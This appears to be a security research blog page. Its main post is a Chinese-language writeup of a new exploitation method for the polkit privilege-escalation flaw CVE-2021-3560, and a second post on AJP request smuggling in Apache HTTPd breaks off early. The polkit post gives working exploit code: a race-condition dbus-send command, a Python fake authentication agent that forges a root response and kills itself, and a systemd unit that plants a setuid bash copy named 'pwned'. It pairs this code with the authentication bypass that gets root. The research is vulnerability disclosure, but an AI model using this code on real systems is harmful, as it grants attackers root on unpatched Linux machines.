Normal view

There are new articles available, click to refresh the page.
Before yesterdayNoah Lab

A New Exploit Method for CVE-2021-3560 PolicyKit Linux Privilege Escalation

By: RicterZ
27 May 2022 at 08:52
A New Exploit Method for CVE-2021-3560 PolicyKit Linux Privilege Escalation

 

English Version: http://noahblog.360.cn/a-new-exploit-method-for-cve-2021-3560-policykit-linux-privilege-escalation-en

0x01. The Vulnerability

PolicyKit CVE-2021-3560 是 PolicyKit 没有正确的处理错误,导致在发送 D-Bus 信息后立刻关闭程序后,PolicyKit 错误的认为信息的发送者为 root 用户,从而通过权限检查,实现提权而产生的漏洞。漏洞的利用方式如下:

dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply \
    /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser \
    string:boris string:"Boris Ivanovich Grishenko" int32:1 & sleep 0.008s ; kill $!

以上命令的作用是在发送 D-Bus 信息后,在一个极短的时间差后利用 kill 命令杀死进程,经过多次尝试条件竞争后,可以实现以一个低权限用户添加一个拥有 sudo 权限的用户。

根据漏洞作者的描述和利用方法可知,此漏洞成功利用需要三个组件:

  1. Account Daemon,此服务用来添加用户;
  2. Gnome Control Center,此服务会用 org.freedesktop.policykit.imply 修饰 Account Daemon 的方法;
  3. PolicyKit ≥ 0.113。

其中 Account Daemon 和 Gnomo Control Center 在非桌面版的系统、Red Hat Linux 等系统中并不存在,这无疑减小了漏洞的利用覆盖面。

但是通过对于此漏洞的原理深入研究,我发现漏洞利用并没有特别大的限制,仅存在 PolicyKit 和一些基础 D-Bus 服务(比如 org.freedesktop.systemd1)的系统中仍然可以成功利用。在进行研究的过程中,发现实现利用需要涉及比较多的知识点,需要深入理解此漏洞的原理及 PolicyKit 的相关认证机制和流程。本文章旨在将整体的研究方法尽可能详细的描述出来,如有错误请指正。

0x02. Do Really Need an Imply Annotated Action

在漏洞作者的文章中(https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/)明确的写道:

The authentication bypass depends on the error value getting ignored. It was ignored on line 1121, but it's still stored in the error parameter, so it also needs to be ignored by the caller. The block of code above has a temporary variable named implied_error, which is ignored when implied_result isn't null. That's the crucial step that makes the bypass possible.

大体含义就是必须要有 org.freedesktop.policykit.imply 修饰后的方法才能实现认证绕过。根据文章中的 PoC 来看,这一点确实是母庸质疑的。具体原因和漏洞原理结合的非常紧密,可以通过查看代码来理解。首先先看一下 CVE-2021-3560 的漏洞函数,代码基于 Github 上的 polkit 0.115 版本:

static gboolean
polkit_system_bus_name_get_creds_sync (PolkitSystemBusName           *system_bus_name,
               guint32                       *out_uid,
               guint32                       *out_pid,
               GCancellable                  *cancellable,
               GError                       **error)
{

  // ...
  g_dbus_connection_call (connection,
        "org.freedesktop.DBus",       /* name */
        "/org/freedesktop/DBus",      /* object path */
        "org.freedesktop.DBus",       /* interface name */
        "GetConnectionUnixUser",      /* method */
        // ...
        &data);
  g_dbus_connection_call (connection,
        "org.freedesktop.DBus",       /* name */
        "/org/freedesktop/DBus",      /* object path */
        "org.freedesktop.DBus",       /* interface name */
        "GetConnectionUnixProcessID", /* method */
        // ...
        &data);

  while (!((data.retrieved_uid && data.retrieved_pid) || data.caught_error))
    g_main_context_iteration (tmp_context, TRUE);

  if (out_uid)
    *out_uid = data.uid;
  if (out_pid)
    *out_pid = data.pid;
  ret = TRUE;

  return ret;
}


polkit_system_bus_name_get_creds_sync 函数调用了两个 D-Bus 方法后,没有处理 data.caugh_error,直接设置了 out_uiddata.uid,又由于 data.uid 为 NULL,从而导致 out_uid 为 NULL,也就是 0,为 root 用户的 uid,从而错误的认为这个进程为 root 权限进程。

但是需要注意的是,在遇到错误时,data.error 会被设置为错误的信息,所以这里需要接下来的函数只验证了 ret 是否为 TRUE,而不去验证有没有错误。幸运的是,PolicyKit 中一个用途非常广泛的函数 check_authorization_sync就没有验证:

static PolkitAuthorizationResult *
check_authorization_sync (PolkitBackendAuthority         *authority,
                          PolkitSubject                  *caller,
                          PolkitSubject                  *subject,
                          const gchar                    *action_id,
                          PolkitDetails                  *details,
                          PolkitCheckAuthorizationFlags   flags,
                          PolkitImplicitAuthorization    *out_implicit_authorization,
                          gboolean                        checking_imply,
                          GError                        **error)
{
  // ...
  user_of_subject = polkit_backend_session_monitor_get_user_for_subject (priv->session_monitor,
                                                                         subject, NULL,
                                                                         error);
  /* special case: uid 0, root, is _always_ authorized for anything */
  if (identity_is_root_user (user_of_subject)) {
      result = polkit_authorization_result_new (TRUE, FALSE, NULL);
      goto out;
  }
  // ...
  if (!checking_imply) {
      actions = polkit_backend_action_pool_get_all_actions (priv->action_pool, NULL);
      for (l = actions; l != NULL; l = l->next) {
           // ...
           imply_action_id = polkit_action_description_get_action_id (imply_ad);
           implied_result = check_authorization_sync (authority, caller, subject,
                                                      imply_action_id,
                                                      details, flags,
                                                      &implied_implicit_authorization, TRUE,
                                                      &implied_error);
           if (implied_result != NULL) {
           if (polkit_authorization_result_get_is_authorized (implied_result)) {
               g_debug (" is authorized (implied by %s)", imply_action_id);
               result = implied_result;
               /* cleanup */
               g_strfreev (tokens);
               goto out;
           }
  // ...

这个函数有两处问题,第一个就是第一次调用 polkit_backend_session_monitor_get_user_for_subject 的时候直接返回 uid 为 0 的信息,然后直接通过认证,第二次是在检查 imply action 时,循环调用 check_authorization_sync 后再次遇到 polkit_backend_session_monitor_get_user_for_subject 返回 uid 为 0 的信息。所以此函数存在两个条件竞争的时间窗口:

check_authorization_sync 
-> polkit_backend_session_monitor_get_user_for_subject 
 -> return uid = 0

check_authorization_sync
 -> check_authorization_sync
  -> polkit_backend_session_monitor_get_user_for_subject 
   -> return uid = 0

漏洞作者分析到这里时,发现第一个竞争时间窗口并不能成功,因为后续调用 check_authorization_sync的函数都检查了错误信息,所以只能通过第二个时间窗口进行利用,也就是需要一个被 org.freedesktop.policykit.imply 修饰过的 action。首先解释下什么是 org.freedesktop.policykit.imply 修饰。

PolicyKit 的 action policy 配置文件通常在 /usr/share/polkit-1/actions/ 目录下,文件的内容如下所示:

<?xml version="1.0" encoding="UTF-8"?> <!--*-nxml-*-->
<!DOCTYPE policyconfig PUBLIC "-//freedesktop//DTD PolicyKit Policy Configuration 1.0//EN"
        "http://www.freedesktop.org/standards/PolicyKit/1/policyconfig.dtd">

<policyconfig>
        <vendor>The systemd Project</vendor>
        <vendor_url>http://www.freedesktop.org/wiki/Software/systemd</vendor_url>

        <action id="org.freedesktop.systemd1.manage-unit-files">
                <description gettext-domain="systemd">Manage system service or unit files</description>
                <message gettext-domain="systemd">Authentication is required to manage system service or unit files.</message>
                <defaults>
                        <allow_any>auth_admin</allow_any>
                        <allow_inactive>auth_admin</allow_inactive>
                        <allow_active>auth_admin_keep</allow_active>
                </defaults>
                <annotate key="org.freedesktop.policykit.imply">org.freedesktop.systemd1.reload-daemon org.freedesktop.systemd1.manage-units</annotate>
        </action>

        <action id="org.freedesktop.systemd1.reload-daemon">
                <description gettext-domain="systemd">Reload the systemd state</description>
                <message gettext-domain="systemd">Authentication is required to reload the systemd state.</message>
                <defaults>
                        <allow_any>auth_admin</allow_any>
                        <allow_inactive>auth_admin</allow_inactive>
                        <allow_active>auth_admin_keep</allow_active>
                </defaults>
        </action>

</policyconfig>

可以发现,org.freedesktop.systemd1.manage-unit-files 这个 action 拥有 org.freedesktop.policykit.imply 修饰,这个修饰的意义是,当一个 subject 拥有 org.freedesktop.systemd1.reload-daemon 或者 org.freedesktop.systemd1.manage-units 权限时,也同时拥有此项权限。所以被修饰过的方法基本上可以视作为和修饰方法等价的,这也就是这个修饰的作用。

话说回来,在实际上,被此漏洞所影响的上层函数并不止 check_authorization_sync ,如下所有函数都会被这个漏洞所影响:

  1. polkit_system_bus_name_get_creds_sync
  2. polkit_backend_session_monitor_get_user_for_subject
  3. check_authorization_sync

通过搜索代码,我发现了一个对我而言十分熟悉的函数调用了 polkit_backend_session_monitor_get_user_for_subject 函数:polkit_backend_interactive_authority_authentication_agent_response

static gboolean
polkit_backend_interactive_authority_authentication_agent_response (PolkitBackendAuthority   *authority,
                                                              PolkitSubject            *caller,
                                                              uid_t                     uid,
                                                              const gchar              *cookie,
                                                              PolkitIdentity           *identity,
                                                              GError                  **error)
{

  // ...
  identity_str = polkit_identity_to_string (identity);
  g_debug ("In authentication_agent_response for cookie '%s' and identity %s",
           cookie,
           identity_str);
  user_of_caller = polkit_backend_session_monitor_get_user_for_subject (priv->session_monitor,
                                                                        caller, NULL,
                                                                        error);

  /* only uid 0 is allowed to invoke this method */
  if (!identity_is_root_user (user_of_caller)) {
      goto out;
  }
  // ...

这个方法是 PolicyKit 用来处理 Authentication Agent 调用的 AuthenticationAgentResponseAuthenticationAgentResponse2 方法的。那么,什么是 Authentication Agent,它又拥有什么作用呢?

0x03. What is Authentication Agent

在日常使用 Linux 的时候,如果不是利用 root 账号登录桌面环境,在执行一些需要 root 权限的操作时,通常会跳出一个对话框让你输入密码,这个对话框的程序就是 Authentication Agent:

A New Exploit Method for CVE-2021-3560 PolicyKit Linux Privilege Escalation

在命令行中,同样也有 Authentication Agent,比如 pkexec 命令:

A New Exploit Method for CVE-2021-3560 PolicyKit Linux Privilege Escalation

一个 Authentication Agent 通常为 suid 程序,这样可以保证调用 PolicyKit 的授权方法时的调用方(caller)为 root,而来自 root 用户的方法调用是可以信任的。Authencation Agent的认证流程如下所示:

A New Exploit Method for CVE-2021-3560 PolicyKit Linux Privilege Escalation
  1. Client 在需要提升权限时,会启动 setuid 的 Authentication Agent;
  2. Authentication Agent 会启动一个 D-Bus 服务,用来接收 PolicyKit 的相关认证调用;
  3. Authentication Agent 会去 PolicyKit 注册自己,来接管对于客户端程序调用的 D-Bus 方法的认证请求: CheckAuthorization
  4. 当收到 CheckAuthorization 请求时,PolicyKit 会调用 Authencation Agent 的 BeginAuthentication 方法;
  5. Authentication Agent 接收到方法调用后,会要求用户输入密码进行认证;
  6. Authentication Agent 验证密码没有问题,则会调用 PolicyKit 提供的 AuthenticationAgentResponse 方法;
  7. PolicyKit 收到 AuthenticationAgentResponse 方法调用后,会检查调用方是不是 root 权限,接着会检查其他信息(cookie);
  8. 检查无误后,PolicyKit 对于 D-Bus Service 的 CheckAuthorization 方法返回 TRUE,表示认证通过;
  9. D-Bus Service 收到返回后,允许执行用户所调用的方法。

虽然流程较为复杂,但是不难发现,整个流程的信任保证主要是在第 7 步中验证 AuthenticationAgentResponse 的调用方是否为 root。但是由于 CVE-2021-3560 的存在,这个信任被打破了。所以我们可以通过伪造 AuthenticationAgentResponse 的调用方,来完成整个认证流程,实现任意 D-Bus Service 方法的调用。

0x04. Write Your Agent

利用 dbus-python 和相关 example 代码,我们可以实现一个 Authencation Agent 的基本骨架:

import os
import dbus
import dbus.service
import threading

from gi.repository import GLib
from dbus.mainloop.glib import DBusGMainLoop


class PolkitAuthenticationAgent(dbus.service.Object):
    def __init__(self):
        bus = dbus.SystemBus(mainloop=DBusGMainLoop())
        self._object_path = '/org/freedesktop/PolicyKit1/AuthenticationAgent'
        self._bus = bus
        with open("/proc/self/stat") as stat:
            tokens = stat.readline().split(" ")
            start_time = tokens[21]

        self._subject = ('unix-process',
                         {'pid': dbus.types.UInt32(os.getpid()),
                          'start-time': dbus.types.UInt64(int(start_time))})

        bus.exit_on_disconnect = False
        dbus.service.Object.__init__(self, bus, self._object_path)
        self._loop = GLib.MainLoop()
        self.register()
        print('[*] D-Bus message loop now running ...')
        self._loop.run()

    def register(self):
        proxy = self._bus.get_object(
                'org.freedesktop.PolicyKit1',
                '/org/freedesktop/PolicyKit1/Authority')
        authority = dbus.Interface(
                proxy,
                dbus_interface='org.freedesktop.PolicyKit1.Authority')
        authority.RegisterAuthenticationAgent(self._subject,
                                              "en_US.UTF-8",
                                              self._object_path)
        print('[+] PolicyKit authentication agent registered successfully')
        self._authority = authority

    @dbus.service.method(
            dbus_interface="org.freedesktop.PolicyKit1.AuthenticationAgent",
            in_signature="sssa{ss}saa{sa{sv}}", message_keyword='_msg')
    def BeginAuthentication(self, action_id, message, icon_name, details,
                            cookie, identities, _msg):
        print('[*] Received authentication request')
        print('[*] Action ID: {}'.format(action_id))
        print('[*] Cookie: {}'.format(cookie))

        ret_message = dbus.lowlevel.MethodReturnMessage(_msg)
        message = dbus.lowlevel.MethodCallMessage('org.freedesktop.PolicyKit1',
                                                  '/org/freedesktop/PolicyKit1/Authority',
                                                  'org.freedesktop.PolicyKit1.Authority',
                                                  'AuthenticationAgentResponse2')
        message.append(dbus.types.UInt32(os.getuid()))
        message.append(cookie)
        message.append(identities[0])
        self._bus.send_message(message)


def main():
    threading.Thread(target=PolkitAuthenticationAgent).start()


if __name__ == '__main__':
    main()


接着尝试增加代码,进行调用:

def handler(*args):
    print('[*] Method response: {}'.format(str(args)))


def set_timezone():
    print('[*] Starting SetTimezone ...')
    bus = dbus.SystemBus(mainloop=DBusGMainLoop())
    obj = bus.get_object('org.freedesktop.timedate1', '/org/freedesktop/timedate1')
    interface = dbus.Interface(obj, dbus_interface='org.freedesktop.timedate1')
    interface.SetTimezone('Asia/Shanghai', True, reply_handler=handler, error_handler=handler)


def main():
    threading.Thread(target=PolkitAuthenticationAgent).start()
    time.sleep(1)
    threading.Thread(target=set_timezone).start()

运行程序:

dev@test:~$ python3 agent.py
[+] PolicyKit authentication agent registered successfully
[*] D-Bus message loop now running ...
[*] Received authentication request
[*] Action ID: org.freedesktop.timedate1.set-timezone
[*] Cookie: 3-31e1bb8396c301fad7e3a40706ed6422-1-0a3c2713a55294e172b441c1dfd1577d
[*] Method response: (DBusException(dbus.String('Permission denied')),)

同时 PolicyKit 的输出为:

** (polkitd:186082): DEBUG: 00:37:29.575: In authentication_agent_response for cookie '3-31e1bb8396c301fad7e3a40706ed6422-1-0a3c2713a55294e172b441c1dfd1577d' and identity unix-user:root
** (polkitd:186082): DEBUG: 00:37:29.576: OUT: Only uid 0 may invoke this method.
** (polkitd:186082): DEBUG: 00:37:29.576: Authentication complete, is_authenticated = 0
** (polkitd:186082): DEBUG: 00:37:29.577: In check_authorization_challenge_cb
  subject                system-bus-name::1.6846
  action_id              org.freedesktop.timedate1.set-timezone
  was_dismissed          0
  authentication_success 0

00:37:29.577: Operator of unix-process:186211:9138723 FAILED to authenticate to gain authorization for action org.freedesktop.timedate1.set-timezone for system-bus-name::1.6846 [python3 agent.py] (owned by unix-user:dev)

可见我们的 Authentication Agent 已经正常工作了,可以接收到 PolicyKit 发送的 BeginAuthentication 方法调用,并且PolicyKit 会提示 Only uid 0 may invoke this method,是因为我们的 AuthenticationAgentResponse 发送用户为 dev 用户而非 root 用户。

0x05. Trigger The Vulnerability

接下来尝试触发漏洞,我们尝试在发送完请求后立刻结束进程:

self._bus.send_message(message)
os.kill(os.getpid(), 9)

多次调用查看:

** (polkitd:186082): DEBUG: 01:09:17.375: In authentication_agent_response for cookie '51-20cf92ca04f0c6b029d0309dbfe699b5-1-3d3e63e4e98124979952a29a828057c7' and identity unix-user:root
** (polkitd:186082): DEBUG: 01:09:17.377: OUT: RET: 1
** (polkitd:186082): DEBUG: 01:09:17.377: Removing authentication agent for unix-process:189453:9329523 at name :1.6921, object path /org/freedesktop/PolicyKit1/AuthenticationAgent (disconnected from bus)
01:09:17.377: Unregistered Authentication Agent for unix-process:189453:9329523 (system bus name :1.6921, object path /org/freedesktop/PolicyKit1/AuthenticationAgent, locale en_US.UTF-8) (disconnected from bus)
** (polkitd:186082): DEBUG: 01:09:17.377: OUT: error
Error performing authentication: GDBus.Error:org.freedesktop.DBus.Error.NoReply: Message recipient disconnected from message bus without replying (g-dbus-error-quark 4)

(polkitd:186082): GLib-WARNING **: 01:09:17.379: GError set over the top of a previous GError or uninitialized memory.
This indicates a bug in someone's code. You must ensure an error is NULL before it's set.
The overwriting error message was: Failed to open file ?/proc/0/cmdline?: No such file or directory
Error opening `/proc/0/cmdline': GDBus.Error:org.freedesktop.DBus.Error.NameHasNoOwner: Could not get UID of name ':1.6921': no such name
** (polkitd:186082): DEBUG: 01:09:17.380: In check_authorization_challenge_cb
  subject                system-bus-name::1.6921
  action_id              org.freedesktop.timedate1.set-timezone
  was_dismissed          0
  authentication_success 0

可以发现,polkit_backend_interactive_authority_authentication_agent_response 函数的返回值为 TRUE,但是在 check_authorization_challenge_cb 函数中仍然是未授权状态,注意到 Error performing authentication 的错误信息,定位到函数 authentication_agent_begin_cb

static void
authentication_agent_begin_cb (GDBusProxy   *proxy,
                               GAsyncResult *res,
                               gpointer      user_data)
{
  error = NULL;
  result = g_dbus_proxy_call_finish (proxy, res, &error);
  if (result == NULL)
    {
      g_printerr ("Error performing authentication: %s (%s %d)\n",
                  error->message,
                  g_quark_to_string (error->domain),
                  error->code);
      if (error->domain == POLKIT_ERROR && error->code == POLKIT_ERROR_CANCELLED)
        was_dismissed = TRUE;
      g_error_free (error);
    }
  else
    {
      g_variant_unref (result);
      gained_authorization = session->is_authenticated;
      g_debug ("Authentication complete, is_authenticated = %d", session->is_authenticated);
    }

代码逻辑为,当 g_dbus_proxy_call_finish 函数没有错误的情况下,才会设置 is_authenticated 为 TRUE。而 g_dbus_proxy_call_finish 函数的作用描述如下:

Finishes an operation started with g_dbus_proxy_call().
You can then call g_dbus_proxy_call_finish() to get the result of the operation.

而同时错误信息也显示了:

Message recipient disconnected from message bus without replying

如果想成功的进行条件竞争,首先就需要解决这个问题。通过 dbus-monitor 命令观察正常情况和错误情况的调用结果,成功的情况如下所示:

method call   sender=:1.3174 -> destination=:1.3301 serial=6371 member=BeginAuthentication
method call   sender=:1.3301 -> destination=:1.3174 serial=6    member=AuthenticationAgentResponse2 
method return sender=:1.3301 -> destination=:1.3174 serial=7 reply_serial=6371

失败的情况如下所示:

method call sender=:1.3174 -> destination=:1.3301 serial=12514 member=BeginAuthentication 
method call sender=:1.3301 -> destination=:1.3174 serial=6     member=AuthenticationAgentResponse2 
error       sender=org.freedesktop.DBus -> destination=:1:3174 error_name=org.freedesktop.DBus.Error.NoReply

其中 :1:3174 为 PolicyKit,:1.3301 为 Authentication Agent。成功的情况下,Authentication Agent 会发送一个 method return 消息,指向的是 BeginAuthentication 的调用序列号,表示这个方法已经成功调用了,而失败的情况下则是由 D-Bus Daemon 向 PolicyKit 发送一个 NoReply 的错误。

0x06. The Time Window

通过以上分析可以得到我们的漏洞触发的时间窗口:在发送 method return 消息后,在获取 AuthenticationAgentResponse2 的 caller 前结束进程。为了精确控制消息发送,我们修改 Authentication Agent 的代码如下:

    @dbus.service.method(
            dbus_interface="org.freedesktop.PolicyKit1.AuthenticationAgent",
            in_signature="sssa{ss}saa{sa{sv}}", message_keyword='_msg')
    def BeginAuthentication(self, action_id, message, icon_name, details,
                            cookie, identities, _msg):
        print('[*] Received authentication request')
        print('[*] Action ID: {}'.format(action_id))
        print('[*] Cookie: {}'.format(cookie))


        def send(msg):
            self._bus.send_message(msg)

        ret_message = dbus.lowlevel.MethodReturnMessage(_msg)
        message = dbus.lowlevel.MethodCallMessage('org.freedesktop.PolicyKit1',
                                                  '/org/freedesktop/PolicyKit1/Authority',
                                                  'org.freedesktop.PolicyKit1.Authority',
                                                  'AuthenticationAgentResponse2')
        message.append(dbus.types.UInt32(os.getuid()))
        message.append(cookie)
        message.append(identities[0])
        threading.Thread(target=send, args=(message, )).start()
        threading.Thread(target=send, args=(ret_message, )).start()
        os.kill(os.getpid(), 9)

查看 PolicyKit 输出,发现已经成功认证:

** (polkitd:192813): DEBUG: 01:42:29.925: In authentication_agent_response for cookie '3-7c19ac0c4623cf4548b91ef08584209f-1-22daebe24c317a3d64d74d2acd307468' and identity unix-user:root
** (polkitd:192813): DEBUG: 01:42:29.928: OUT: RET: 1
** (polkitd:192813): DEBUG: 01:42:29.928: Authentication complete, is_authenticated = 1

(polkitd:192813): GLib-WARNING **: 01:42:29.934: GError set over the top of a previous GError or uninitialized memory.
This indicates a bug in someone's code. You must ensure an error is NULL before it's set.
The overwriting error message was: Failed to open file ?/proc/0/cmdline?: No such file or directory
Error opening `/proc/0/cmdline': GDBus.Error:org.freedesktop.DBus.Error.NameHasNoOwner: Could not get UID of name ':1.7428': no such name
** (polkitd:192813): DEBUG: 01:42:29.934: In check_authorization_challenge_cb
  subject                system-bus-name::1.7428
  action_id              org.freedesktop.timedate1.set-timezone
  was_dismissed          0
  authentication_success 1

同时系统时区也已经成功更改。

0x07. Before The Exploit

相比于漏洞作者给出的 Account Daemon 利用,我选择了使用 org.freedesktop.systemd1。首先我们摆脱了必须使用 org.freedesktop.policykit.imply 修饰过的方法的限制,其次因为这个 D-Bus Service 几乎在每个 Linux 系统都存在,最后是因为这个方法存在一些高风险方法。

$ gdbus introspect --system -d org.freedesktop.systemd1 -o /org/freedesktop/systemd1
...
  interface org.freedesktop.systemd1.Manager {
      ...
      StartUnit(in  s arg_0,
                in  s arg_1,
                out o arg_2);
      ...
      EnableUnitFiles(in  as arg_0,
                      in  b arg_1,
                      in  b arg_2,
                      out b arg_3,
                      out a(sss) arg_4);
      ...
  }
...

EnableUnitFiles 可以接受传入一组 systemd 单元文件路径,并加载进入 systemd,接着再调用ReloadStartUnit 方法后即可以 root 权限执行任意命令。systemd 单元文件内容如下:

[Unit]
AllowIsolate=no

[Service]
ExecStart=/bin/bash -c 'cp /bin/bash /usr/local/bin/pwned; chmod +s /usr/local/bin/pwned'

看似流程非常明确,但是在实际利用中却出现了问题。问题出在 EnableUnitFiles  方法,首先编写代码调用此方法:

def enable_unit_files():
    print('[*] Starting EnableUnitFiles ...')
    bus = dbus.SystemBus(mainloop=DBusGMainLoop())
    obj = bus.get_object('org.freedesktop.systemd1', '/org/freedesktop/systemd1')
    interface = dbus.Interface(obj, dbus_interface='org.freedesktop.systemd1.Manager')
    interface.EnableUnitFiles(['test'], True, True, reply_handler=handler, error_handler=handler)

运行后输出如下:

dev@test:~$ python3 agent.py
[*] Starting EnableUnitFiles ...
[+] PolicyKit authentication agent registered successfully
[*] D-Bus message loop now running ...
[*] Method response: (DBusException(dbus.String('Interactive authentication required.')),)

可见并没有进入我们注册的 Authentication Agent,而是直接输出了 Interactive authentication required 的错误信息。通过实际的代码分析,定位到如下代码逻辑:

static void
polkit_backend_interactive_authority_check_authorization (PolkitBackendAuthority         *authority,
                                                          PolkitSubject                  *caller,
                                                          PolkitSubject                  *subject,
                                                          const gchar                    *action_id,
                                                          PolkitDetails                  *details,
                                                          PolkitCheckAuthorizationFlags   flags,
                                                          GCancellable                   *cancellable,
                                                          GAsyncReadyCallback             callback,
                                                          gpointer                        user_data)
{
  // ...
  if (polkit_authorization_result_get_is_challenge (result) &&
      (flags & POLKIT_CHECK_AUTHORIZATION_FLAGS_ALLOW_USER_INTERACTION))
    {
      AuthenticationAgent *agent;
      agent = get_authentication_agent_for_subject (interactive_authority, subject);
      if (agent != NULL)
        {
          g_object_unref (result);
          result = NULL;

          g_debug (" using authentication agent for challenge");
          authentication_agent_initiate_challenge (agent,
                                                   // ...
          goto out;
        }
    }

这里检查了 Message Flags 的 POLKIT_CHECK_AUTHORIZATION_FLAGS_ALLOW_USER_INTERACTION 是不是为 0,如果是 0,则不会进入到使用 Authencation Agent 的分支。通过查阅文档,我发现 POLKIT_CHECK_AUTHORIZATION_FLAGS_ALLOW_USER_INTERACTION 是消息发送者可控的,D-Bus 的类库提供了相应的 setter:https://dbus.freedesktop.org/doc/api/html/group__DBusMessage.html#gae734e7f4079375a0256d9e7f855ec4e4,也就是 dbus_message_set_allow_interactive_authorization 方法。

但是当我去翻阅 dbus-python 的文档时,发现其并没有提供这个方法。于是我修改了版 dbus-python添加了此方法,地址为:https://gitlab.freedesktop.org/RicterZ/dbus-python

PyDoc_STRVAR(Message_set_allow_interactive_authorization__doc__,
"message.set_allow_interactive_authorization(bool) -> None\n"
"Set allow interactive authorization flag to this message.\n");
static PyObject *
Message_set_allow_interactive_authorization(Message *self, PyObject *args)
{
    int value;
    if (!PyArg_ParseTuple(args, "i", &value)) return NULL;
    if (!self->msg) return DBusPy_RaiseUnusableMessage();
    dbus_message_set_allow_interactive_authorization(self->msg, value ? TRUE : FALSE);
    Py_RETURN_NONE;
}

同时这项修改已经提交 Merge Request 了,希望之后会被合并。

0x08. The Final Exploit

添加了 set_allow_interactive_authorization 后,利用 dbus-python 提供的低级接口构建消息:

def method_call_install_service():
    time.sleep(0.1)
    print('[*] Enable systemd unit file \'{}\' ...'.format(FILENAME))
    bus2 = dbus.SystemBus(mainloop=DBusGMainLoop())
    message = dbus.lowlevel.MethodCallMessage(NAME, OBJECT, IFACE, 'EnableUnitFiles')
    message.set_allow_interactive_authorization(True)
    message.set_no_reply(True)
    message.append(['/tmp/{}'.format(FILENAME)])
    message.append(True)
    message.append(True)
    bus2.send_message(message)

设置之后再发送即可收到 PolicyKit 发来的 BeginAuthentication 请求了。实际编写框架已经大体明了了,写一个利用出来并不困难。最终利用成功截图如下:

A New Exploit Method for CVE-2021-3560 PolicyKit Linux Privilege Escalation

Golang 和 C 版本的利用代码如下:

0x09. Conclusion

CVE-2021-3560 是一个危害被低估的漏洞,我认为是由于漏洞作者不是特别熟悉 D-Bus 和 PolicyKit 的相关机制导致错过了 Authentication Agent 的特性,从而构建出限制较大的 PoC。我自是不敢说精通 D-Bus 和 PolicyKit,但是在最近时间的漏洞挖掘和研究过程中,参考了大量的文档、历史漏洞分析,同时阅读了大量的代码后,才能意识到使用 Authentication Agent 来进行利用的可能性。

同时,作为一个 Web 漏洞的安全研究员,我自是将所有的东西都类型转换到 Web 层面去看待。D-Bus 和 Web 非常相似,在挖掘提权的过程中并没有受到特别大的阻力,却收获了非常多的成果。希望各位安全从业者通过 D-Bus 来入门二进制,跳出自己的舒适圈,也可以增加自己在漏洞挖掘中的视野(什么,内存破坏洞?想都不要想了,开摆.jpg)。

0x0a. Reference

CVE-2022-26377: Apache HTTPd AJP Request Smuggling

By: RicterZ
8 July 2022 at 05:36

本文介绍了一种针对 AJP 的全新攻击方法和思路,打开在诸如 Apache HTTPd 使用 proxy_ajp 对 Tomcat AJP 进行反向代理、产品自研的 AJP 反向代理的攻击面,同时也可以尝试横向扩展至 FastCGI 等协议(当然,并没有挖到其他协议的)。

本文的灵感来源是针对 ████████████ 进行审计的过程中,发现其实现了一个名为 Secure Gateway 的网关,此网关针对连接进入的 HTTP 协议解析后转化为 AJP 协议数据包后,转发到后端的 Tomcat AJP 服务。通过深入研究,发现可以利用本文所述的攻击手法构造 AJP 数据包攻击后端服务。

1. AJP Protocol Details

自长亭科技发现 GhostCat(CVE-2020-1938)漏洞后,Tomcat 做了几个安全措施:在配置层面,默认将 8009 端口监听在 localhost,同时默认不开启 AJP 协议;在代码层面,默认拒绝通过 AJP 协议传入的一些 attributes,防止某些特殊 attributes 被利用(比如 javax.servlet.include.path_info),在配置文件中通过 allowedRequestAttributesPattern 来匹配允许设置的 attributes。

AJP 服务全称 Apache JServ Protocol,是一个类似 HTTP 的二进制协议,数据包格式较为简单。AJP 协议的 请求数据包Magic 为 0x1234,后面紧跟着 2 个字节的数据长度字段,再往后就是数据包的具体内容。如下所示:

00000000  12 34 00 98 02 02 00 08  48 54 54 50 2f 31 2e 31   .4...... HTTP/1.1
00000010  00 00 01 2f 00 00 0b 31  30 2e 32 31 31 2e 35 35   .../...1 0.211.55
00000020  2e 32 00 ff ff 00 0b 31  30 2e 32 31 31 2e 35 35   .2.....1 0.211.55
00000030  2e 33 00 00 50 00 00 03  a0 0b 00 0b 31 30 2e 32   .3..P... ....10.2
00000040  31 31 2e 35 35 2e 33 00  a0 0e 00 0b 63 75 72 6c   11.55.3. ....curl
00000050  2f 37 2e 37 37 2e 30 00  a0 01 00 03 2a 2f 2a 00   /7.77.0. ....*/*.
00000060  0a 00 0f 41 4a 50 5f 52  45 4d 4f 54 45 5f 50 4f   ...AJP_R EMOTE_PO
00000070  52 54 00 00 05 35 31 36  37 36 00 0a 00 0e 41 4a   RT...516 76....AJ
00000080  50 5f 4c 4f 43 41 4c 5f  41 44 44 52 00 00 0b 31   P_LOCAL_ ADDR...1
00000090  30 2e 32 31 31 2e 35 35  2e 33 00 ff               0.211.55 .3..

在请求数据包中,第五个字节表示的是 Code Type,AJP 协议支持包括 Forward Request(0x02)、Shutdown(0x07),Ping(0x08),CPing(0x10)几个 Code Type。需要特殊注意的是,如果没有指定 Code Type,则表示这个数据包是一个“数据”数据包,其内容只包含着请求数据。

看到这里,其实 AJP 协议的缺陷就显现得比较清楚了。AJP 的数据包并不能界定所谓“数据”数据包和“命令”数据包,所以可以导致我们在某些情况下可以针对数据包进行伪造

对于 AJP 协议的其他细节就不再进行赘述,可以参考 Apache Tomcat 的官方文档:https://tomcat.apache.org/connectors-doc/ajp/ajpv13a.html

2. Content-Type

针对包含数据的请求,如果在 HTTP 请求中存在 Content-Type 头,AJP 代理实现的方式是分为两个数据包发送。第一个数据包包含着请求头的信息,第二个数据包为“数据”数据包。

00000000  12 34 00 c4 02 04 00 08  48 54 54 50 2f 31 2e 31   .4...... HTTP/1.1
00000010  00 00 01 2f 00 00 0b 31  30 2e 32 31 31 2e 35 35   .../...1 0.211.55
00000020  2e 32 00 ff ff 00 0b 31  30 2e 32 31 31 2e 35 35   .2.....1 0.211.55
00000030  2e 33 00 00 50 00 00 05  a0 0b 00 0b 31 30 2e 32   .3..P... ....10.2
00000040  31 31 2e 35 35 2e 33 00  a0 0e 00 0b 63 75 72 6c   11.55.3. ....curl
00000050  2f 37 2e 37 37 2e 30 00  a0 01 00 03 2a 2f 2a 00   /7.77.0. ....*/*.
00000060  a0 08 00 01 36 00 a0 07  00 21 61 70 70 6c 69 63   ....6... .!applic
00000070  61 74 69 6f 6e 2f 78 2d  77 77 77 2d 66 6f 72 6d   ation/x- www-form
